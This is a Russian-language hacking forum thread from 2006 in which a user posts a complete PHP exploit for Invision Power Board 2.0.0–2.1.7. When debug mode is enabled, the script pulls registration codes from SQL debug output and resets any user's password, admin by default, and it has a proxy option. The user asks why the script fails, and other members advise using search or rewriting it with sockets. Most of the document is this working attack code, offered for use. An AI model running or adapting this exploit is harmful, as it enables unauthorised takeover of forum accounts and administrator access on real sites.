Форумы Invision Power Board <= 2.1.7 (Debug) Remote Password Change Exploit

Discussion in 'Уязвимости CMS/форумов' started by nightmare007, 19 Nov 2006.

  1. nightmare007

    nightmare007 New Member

    Joined:
    28 Oct 2006
    Messages:
    17
    Likes Received:
    1
    Reputations:
    0
    Так....

    PHP:
    <?php
    /*

     Debug Mode password change vulnerability
     Affects Invision Power Borard 2.0.0 to 2.1.7
     by Rapigator
     
     This works if:

     "Debug Level" is set to 3
     or
     Enable SQL Debug Mode is turned on
     
     In General Configuration of the forum software.

    */

    // The forum's address up to and including 'index.php'
    $site "http://localhost/forums/index.php";

    // An existing user's login name
    $name "admin";

    // The new password(3-32 characters)
    $pass "1234";

    // You can use a proxy...
    // $proxy = "1.2.3.4:8080";



    // -----------------------------
    $site .= "?";
    $suffix "";
    $name urlencode($name);
    $pass urlencode($pass);
    $curl curl_init($site.'act=Reg&CODE=10');
    curl_setopt($curlCURLOPT_PROXY$proxy);
    curl_setopt($curlCURLOPT_RETURNTRANSFER1);
    curl_setopt($curlCURLOPT_TIMEOUT10);
    $page curl_exec($curl);
    curl_close($curl);
    if (
    preg_match('/<span class=\'green\'>INSERT<\/span> INTO <span class=\'purple\'>([\\w]*?)_reg_antispam<\/span> \\(regid,regcode,ip_address,ctime\\) VALUES\\(\'([\\w]{32}?)\',([\\d]*?),/'$page$regs)) {
        
    $prefix $regs[1];
        
    $regid $regs[2];
        
    $regcode $regs[3];
    } else {
        
    $suffix "&debug=1";
        
    $curl curl_init($site.'act=Reg&CODE=10'.$suffix);
        
    curl_setopt($curlCURLOPT_PROXY$proxy);
        
    curl_setopt($curlCURLOPT_RETURNTRANSFER1);
        
    curl_setopt($curlCURLOPT_TIMEOUT10);
        
    $page curl_exec($curl);
        
    curl_close($curl);
        if (
    preg_match('/INSERT INTO ([\\w]*?)_reg_antispam \\(regid,regcode,ip_address,ctime\\) VALUES\\(\'([\\w]{32}?)\',([\\d]*?),/'$page$regs)) {
            
    $prefix $regs[1];
            
    $regid $regs[2];
            
    $regcode $regs[3];
        }
    }
    if (!isset(
    $regid) || !isset($regcode)) {
        echo 
    "Error: Probably not vulnerable, or no forum found";
        exit;
    }

    $curl curl_init($site.$suffix);
    curl_setopt($curlCURLOPT_PROXY$proxy);
    curl_setopt($curlCURLOPT_RETURNTRANSFER1);
    curl_setopt($curlCURLOPT_POST1);
    curl_setopt($curlCURLOPT_POSTFIELDS"act=Reg&CODE=11&member_name={$name}&regid={$regid}&reg_code={$regcode}");
    curl_setopt($curlCURLOPT_TIMEOUT10);
    $page curl_exec($curl);
    curl_close($curl);
    if (
    preg_match('/<span class=\'green\'>INSERT<\/span> INTO <span class=\'purple\'>'.$prefix.'_validating<\/span> \\(vid,member_id,real_group,temp_group,entry_date,coppa_user,lost_pass,ip_address\\) VALUES\\(\'([\\w]{32}?)\',([\\d]{1,32}?),/'$page$regs)) {
        
    change_pass($regcode,$regid,$regs[1],$regs[2]);
    }
    if (
    preg_match('/INSERT INTO '.$prefix.'_validating \\(vid,member_id,real_group,temp_group,entry_date,coppa_user,lost_pass,ip_address\\) VALUES\\(\'([\\w]{32}?)\',([\\d]{1,32}?),/'$page$regs)) {
        
    change_pass($regcode,$regid,$regs[1],$regs[2]);
    }

    function 
    change_pass($regcode,$regid,$vid,$userid) {
        global 
    $site$proxy$name$pass;
        
    $curl curl_init($site.$suffix);
        
    curl_setopt($curlCURLOPT_PROXY$proxy);
        
    curl_setopt($curlCURLOPT_RETURNTRANSFER1);
        
    curl_setopt($curlCURLOPT_POST1);
        
    curl_setopt($curlCURLOPT_POSTFIELDS"act=Reg&CODE=03&type=lostpass&uid={$userid}&aid={$vid}&regid={$regid}&reg_code={$regcode}&pass1={$pass}&pass2={$pass}");
        
    curl_setopt($curlCURLOPT_TIMEOUT10);
        
    $page curl_exec($curl);
        
    curl_close($curl);
        echo 
    "Password Changed!";
        exit;
    }
    ?>

    # milw0rm.com [2006-11-01]
    Пробывал запустить это чудо но написало

    чё там не так в 37 строке подскожите чё исправить
    :rolleyes:
     
  2. }{0TT@БЬ)Ч

    }{0TT@БЬ)Ч Elder - Старейшина

    Joined:
    20 Jan 2006
    Messages:
    269
    Likes Received:
    140
    Reputations:
    31
    Это уже вроде здесь разжовывали НЕ ЗАБЫВАЙ юзать поиск http://forum.antichat.ru/thread26349.html
     
    #2 }{0TT@БЬ)Ч, 20 Nov 2006
    Last edited: 20 Nov 2006
  3. _Great_

    _Great_ Elder - Старейшина

    Joined:
    27 Dec 2005
    Messages:
    2,032
    Likes Received:
    1,119
    Reputations:
    1,139
    Нет модуля Curl для Php.
    Правь все на сокеты.